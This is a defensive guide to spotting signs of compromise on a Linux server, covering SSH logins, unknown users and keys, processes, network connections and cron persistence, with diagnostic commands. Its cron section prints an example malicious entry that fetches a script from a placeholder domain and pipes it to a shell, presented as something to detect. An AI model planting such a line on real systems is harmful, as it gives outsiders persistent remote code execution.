A server compromise is not always obvious. Sometimes the website continues to work, SSH is available, the load looks normal, but the server may already have a malicious process, an unknown user, a hidden cron job, or outgoing traffic to suspicious addresses.
In cybersecurity, such signs are called indicators of compromise — traces that may indicate hacking, infection, or unauthorized access. These signs are usually checked in logs, processes, network connections, and system changes.
1. Suspicious SSH Logins
The first thing to check is who logged in to the server and when. A common sign of compromise is a successful login from an unknown IP, at an unusual time, or under a user account that should not be used.
Check recent logins:
last
Check failed login attempts:
sudo lastb
Check SSH logs on Debian/Ubuntu:
sudo grep "Accepted" /var/log/auth.log
sudo grep "Failed password" /var/log/auth.log
Using journalctl:
sudo journalctl -u ssh --since "24 hours ago"
What to look for:
- successful login from an unknown IP;
- login as root if root login should be disabled;
- many failed login attempts;
- login at an unusual time;
- login by a user you did not create.
If you see a successful login from an unknown IP, this is already a serious reason to consider the server potentially compromised.
2. Unknown Users, SSH Keys, or sudo Access
After gaining access, an attacker often tries to persist in the system: create a new user, add an SSH key, grant themselves sudo privileges, or modify an existing account.
Check users with shell access:
awk -F: '$7 ~ /(bash|sh|zsh)$/ {print $1, $7}' /etc/passwd
Check users with sudo access:
getent group sudo
For AlmaLinux/Rocky Linux/CentOS:
getent group wheel
Find all authorized_keys files:
sudo find /home /root -name authorized_keys -type f -print
Check the contents of the keys:
sudo cat /root/.ssh/authorized_keys
sudo cat /home/USER/.ssh/authorized_keys
Suspicious signs:
- an unknown user appeared;
- a user received sudo privileges;
- an unknown SSH key was added to authorized_keys;
- a new key appeared for root;
- permissions for .ssh or authorized_keys changed.
Important
Do not delete suspicious data immediately if you plan to investigate. First, save logs and snapshots of the system state.
3. Unknown Processes and High Load
If the server starts heavily loading the CPU, RAM, disk, or network for no clear reason, this may be a sign of malicious activity. For example, a crypto miner, spam script, proxy, botnet client, or attack script may have appeared on the server.
Check the load:
top (htop, atop)
Check processes:
ps aux --sort=-%cpu | head
ps aux --sort=-%mem | head
Check systemd services:
systemctl --type=service --state=running
systemctl --failed
What to look for:
- a process with an unclear name;
- a process started from /tmp, /var/tmp, or /dev/shm;
- a service you did not install;
- high load without a clear reason;
- a process running as www-data, nobody, or an unknown user.
Examples of suspicious paths:
/tmp/.x/
/var/tmp/.cache/
/dev/shm/.run/
Not every unfamiliar process means a hack, but an unknown process with high load and a strange launch path is a serious signal.
4. Unusual Network Connections and Open Ports
A compromised server often starts connecting to external IPs, sending spam, participating in DDoS attacks, working as a proxy, or opening a new port for remote control.
Check listening ports:
sudo ss -tulpn
Check active connections:
sudo ss -tunap
View processes that use the network:
sudo lsof -i -P -n
What should raise concern:
- an unknown port is open;
- a service is listening on 0.0.0.0, although it should not be public;
- there are persistent connections to unknown IPs;
- the server actively connects to many external addresses, especially on ports 22, 25, 3390, 5900;
- an unknown proxy, tunnel, or reverse shell appeared.
NIST, in its incident handling guide, separately highlights data analysis and determining the correct response as an important part of incident handling. In practice, network connections, logs, and processes are among the first sources to check.
5. Suspicious cron Jobs, Autostart, and Modified Files
Attackers often add a cron job or systemd unit so that a malicious script starts again after a reboot or after the process is removed.
Check the current user’s cron:
crontab -l
Check root cron:
sudo crontab -l
Check system cron files:
sudo ls -lah /etc/cron.d/
sudo ls -lah /etc/cron.hourly/
sudo ls -lah /etc/cron.daily/
Check systemd unit files:
systemctl list-unit-files --type=service
View recently modified files:
sudo find /etc /var/www /tmp /var/tmp /dev/shm -type f -mtime -3 2>/dev/null
Suspicious signs:
- a cron job with curl or wget pointing to an unknown URL;
- a script started from /tmp, /var/tmp, or /dev/shm;
- a new systemd service with an unclear name;
- website files modified without your involvement;
- unknown PHP/JS files in the website directory.
Example of a suspicious line:
* * * * * curl -fsSL http://unknown-domain.example/run.sh | sh
What to Do If There Are Signs of a Hack
If one or more points match, it is better to treat the server as potentially compromised.
Minimum actions:
- do not immediately delete all traces;
- save important logs;
- restrict access to the server;
- change passwords and SSH keys;
- check websites, databases, and cron;
- make a backup of important data;
in case of a serious compromise, reinstall the server and restore only clean data.
Important
If the server was used for payments, personal data, or client projects, it is better to conduct a full investigation and not limit yourself to deleting the suspicious process.
Conclusion
These were the 5 main signs of server compromise:
- Suspicious SSH logins
- Unknown users, keys, or sudo access
- Unknown processes and high load
- Unusual network connections and open ports
- Suspicious cron jobs, autostart, and modified files
One sign does not always prove a hack, but several matches almost always require urgent investigation. It is better to act carefully: save logs, restrict access, check the system, and, if necessary, move the project to a clean server.